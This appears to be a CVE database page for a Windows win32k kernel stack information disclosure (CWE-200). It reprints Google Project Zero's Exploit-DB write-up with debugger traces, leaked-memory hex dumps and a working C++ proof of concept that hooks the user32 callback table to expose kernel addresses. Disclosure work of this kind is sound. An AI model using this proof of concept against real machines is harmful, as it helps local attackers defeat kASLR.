Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-200 |
Exposure of Sensitive Information to an Unauthorized Actor The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V3.0 |
5.5 |
MEDIUM |
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is no loss of integrity within the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is no impact to availability within the impacted component. Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
V2 |
2.1 |
|
AV:L/AC:L/Au:N/C:P/I:N/A:N |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 41880
Publication date : 2017-04-12 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1192
We have discovered that it is possible to disclose portions of uninitialized kernel stack memory to user-mode applications in Windows 10 indirectly through the win32k!NtUserPaintMenuBar system call, or more specifically, through the user32!fnINLPUAHDRAWMENUITEM user-mode callback (#107 on Windows 10 1607 32-bit).
In our tests, the callback is invoked under the following stack trace:
--- cut ---
a75e6a8c 81b63813 nt!memcpy
a75e6aec 9b1bb7bc nt!KeUserModeCallback+0x163
a75e6c10 9b14ff79 win32kfull!SfnINLPUAHDRAWMENUITEM+0x178
a75e6c68 9b1501a3 win32kfull!xxxSendMessageToClient+0xa9
a75e6d20 9b15361c win32kfull!xxxSendTransformableMessageTimeout+0x133
a75e6d44 9b114420 win32kfull!xxxSendMessage+0x20
a75e6dec 9b113adc win32kfull!xxxSendMenuDrawItemMessage+0x102
a75e6e48 9b1138f4 win32kfull!xxxDrawMenuItem+0xee
a75e6ecc 9b110955 win32kfull!xxxMenuDraw+0x184
a75e6f08 9b11084e win32kfull!xxxPaintMenuBar+0xe1
a75e6f34 819a8987 win32kfull!NtUserPaintMenuBar+0x7e
a75e6f34 77d74d50 nt!KiSystemServicePostCall
00f3f08c 7489666a ntdll!KiFastSystemCallRet
00f3f090 733ea6a8 win32u!NtUserPaintMenuBar+0xa
00f3f194 733e7cef uxtheme!CThemeWnd::NcPaint+0x1fc
00f3f1b8 733ef3c0 uxtheme!OnDwpNcActivate+0x3f
00f3f22c 733ede88 uxtheme!_ThemeDefWindowProc+0x800
00f3f240 75d8c2aa uxtheme!ThemeDefWindowProcW+0x18
00f3f298 75d8be4a USER32!DefWindowProcW+0x14a
00f3f2b4 75db53cf USER32!DefWindowProcWorker+0x2a
00f3f2d8 75db8233 USER32!ButtonWndProcW+0x2f
00f3f304 75d8e638 USER32!_InternalCallWinProc+0x2b
00f3f3dc 75d8e3a5 USER32!UserCallWinProcCheckWow+0x218
00f3f438 75da5d6f USER32!DispatchClientMessage+0xb5
00f3f468 77d74c86 USER32!__fnDWORD+0x3f
00f3f498 74894c3a ntdll!KiUserCallbackDispatcher+0x36
00f3f49c 75d9c1a7 win32u!NtUserCreateWindowEx+0xa
00f3f774 75d9ba68 USER32!VerNtUserCreateWindowEx+0x231
00f3f84c 75d9b908 USER32!CreateWindowInternal+0x157
00f3f88c 000d15b7 USER32!CreateWindowExW+0x38
--- cut ---
The layout of the i/o structure passed down to the user-mode callback that we're seeing is as follows:
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ................
00000070: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................
00000080: 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ................
--- cut ---
Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. As shown above, there are 20 bytes leaked at offsets 0x6c-0x7f. We have determined that these bytes originally come from a smaller structure of size 0x74, allocated in the stack frame of the win32kfull!xxxSendMenuDrawItemMessage function.
We can easily demonstrate the vulnerability with a kernel debugger (WinDbg), by setting a breakpoint at win32kfull!xxxSendMenuDrawItemMessage, filling the local structure with a marker 0x41 ('A') byte after stepping through the function prologue, and then observing that these bytes indeed survived any kind of initialization and are printed out by the attached proof-of-concept program:
--- cut ---
3: kd> ba e 1 win32kfull!xxxSendMenuDrawItemMessage
3: kd> g
Breakpoint 0 hit
win32kfull!xxxSendMenuDrawItemMessage:
9b11431e 8bff mov edi,edi
1: kd> p
win32kfull!xxxSendMenuDrawItemMessage+0x2:
9b114320 55 push ebp
1: kd> p
win32kfull!xxxSendMenuDrawItemMessage+0x3:
9b114321 8bec mov ebp,esp
1: kd> p
win32kfull!xxxSendMenuDrawItemMessage+0x5:
9b114323 81ec8c000000 sub esp,8Ch
1: kd> p
win32kfull!xxxSendMenuDrawItemMessage+0xb:
9b114329 a1e0dd389b mov eax,dword ptr [win32kfull!__security_cookie (9b38dde0)]
1: kd> p
win32kfull!xxxSendMenuDrawItemMessage+0x10:
9b11432e 33c5 xor eax,ebp
1: kd> p
win32kfull!xxxSendMenuDrawItemMessage+0x12:
9b114330 8945fc mov dword ptr [ebp-4],eax
1: kd> p
win32kfull!xxxSendMenuDrawItemMessage+0x15:
9b114333 833d0ca6389b00 cmp dword ptr [win32kfull!gihmodUserApiHook (9b38a60c)],0
1: kd> f ebp-78 ebp-78+74-1 41
Filled 0x74 bytes
1: kd> g
--- cut ---
Then, the relevant part of the PoC output should be similar to the following:
--- cut ---
00000000: 88 b2 12 01 92 00 00 00 00 00 00 00 01 00 00 00 ................
00000010: 00 00 00 00 39 05 00 00 01 00 00 00 00 01 00 00 ....9...........
00000020: 61 02 0a 00 1a 08 01 01 08 00 00 00 1f 00 00 00 a...............
00000030: 50 00 00 00 32 00 00 00 00 00 00 00 61 02 0a 00 P...2.......a...
00000040: 1a 08 01 01 00 0a 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 3a 00 00 00 0f 00 00 00 00 00 00 00 ....:...........
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 41 41 41 41 ............AAAA
00000070: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000080: a0 64 d8 77 60 66 d8 77 ?? ?? ?? ?? ?? ?? ?? ?? .d.w`f.w........
--- cut ---
The 20 aforementioned bytes are clearly leaked to ring-3 in an unmodified, uninitialized form. If we don't manually insert markers into the kernel stack, an example output of the PoC can be as follows:
--- cut ---
00000000: 88 b2 ab 01 92 00 00 00 00 00 00 00 01 00 00 00 ................
00000010: 00 00 00 00 39 05 00 00 01 00 00 00 00 01 00 00 ....9...........
00000020: db 01 1d 00 47 08 01 17 08 00 00 00 1f 00 00 00 ....G...........
00000030: 50 00 00 00 32 00 00 00 00 00 00 00 db 01 1d 00 P...2...........
00000040: 47 08 01 17 00 0a 00 00 00 00 00 00 00 00 00 00 G...............
00000050: 00 00 00 00 3a 00 00 00 0f 00 00 00 00 00 00 00 ....:...........
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 28 d3 ab 81 ............(...
00000070: 80 aa 20 9b 33 26 fb af fe ff ff ff 00 5e 18 94 .. .3&.......^..
00000080: a0 64 d8 77 60 66 d8 77 ?? ?? ?? ?? ?? ?? ?? ?? .d.w`f.w........
--- cut ---
Starting at offset 0x6C, we can observe leaked contents of a kernel _EH3_EXCEPTION_REGISTRATION structure:
.Next = 0x81abd328
.ExceptionHandler = 0x9b20aa80
.ScopeTable = 0xaffb2633
.TryLevel = 0xfffffffe
This immediately discloses the address of the kernel-mode stack and the win32k image in memory -- information that is largely useful for local attackers seeking to defeat the kASLR exploit mitigation, or disclose other sensitive data stored in the kernel address space.
*/
#include <Windows.h>
#include <cstdio>
namespace globals {
LPVOID (WINAPI *Orig_fnINLPUAHDRAWMENUITEM)(LPVOID);
} // namespace globals;
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
PVOID *GetUser32DispatchTable() {
__asm{
mov eax, fs:30h
mov eax, [eax + 0x2c]
}
}
BOOL HookUser32DispatchFunction(UINT Index, PVOID lpNewHandler, PVOID *lpOrigHandler) {
PVOID *DispatchTable = GetUser32DispatchTable();
DWORD OldProtect;
if (!VirtualProtect(DispatchTable, 0x1000, PAGE_READWRITE, &OldProtect)) {
printf("VirtualProtect#1 failed, %d\n", GetLastError());
return FALSE;
}
*lpOrigHandler = DispatchTable[Index];
DispatchTable[Index] = lpNewHandler;
if (!VirtualProtect(DispatchTable, 0x1000, OldProtect, &OldProtect)) {
printf("VirtualProtect#2 failed, %d\n", GetLastError());
return FALSE;
}
return TRUE;
}
LPVOID WINAPI fnINLPUAHDRAWMENUITEM_Hook(LPVOID Data) {
printf("----------\n");
PrintHex((PBYTE)Data, 0x88);
return globals::Orig_fnINLPUAHDRAWMENUITEM(Data);
}
int main() {
// Hook the user32!fnINLPUAHDRAWMENUITEM user-mode callback dispatch function.
// The #107 index is specific to Windows 10 1607 32-bit.
if (!HookUser32DispatchFunction(107, fnINLPUAHDRAWMENUITEM_Hook, (PVOID *)&globals::Orig_fnINLPUAHDRAWMENUITEM)) {
return 1;
}
// Create a menu.
HMENU hmenu = CreateMenu();
AppendMenu(hmenu, MF_STRING, 1337, L"Menu item");
// Create a window with the menu in order to trigger the vulnerability.
HWND hwnd = CreateWindowW(L"BUTTON", L"TestWindow", WS_OVERLAPPEDWINDOW | WS_VISIBLE,
CW_USEDEFAULT, CW_USEDEFAULT, 100, 100, NULL, hmenu, 0, 0);
DestroyWindow(hwnd);
return 0;
}
Products Mentioned
Configuraton 0
Microsoft>>Windows_10 >> Version *
Microsoft>>Windows_10 >> Version 1511
Microsoft>>Windows_10 >> Version 1607
Microsoft>>Windows_10 >> Version 1703
Microsoft>>Windows_8.1 >> Version *
Microsoft>>Windows_rt_8.1 >> Version -
Microsoft>>Windows_server_2012 >> Version r2
Microsoft>>Windows_server_2016 >> Version *
References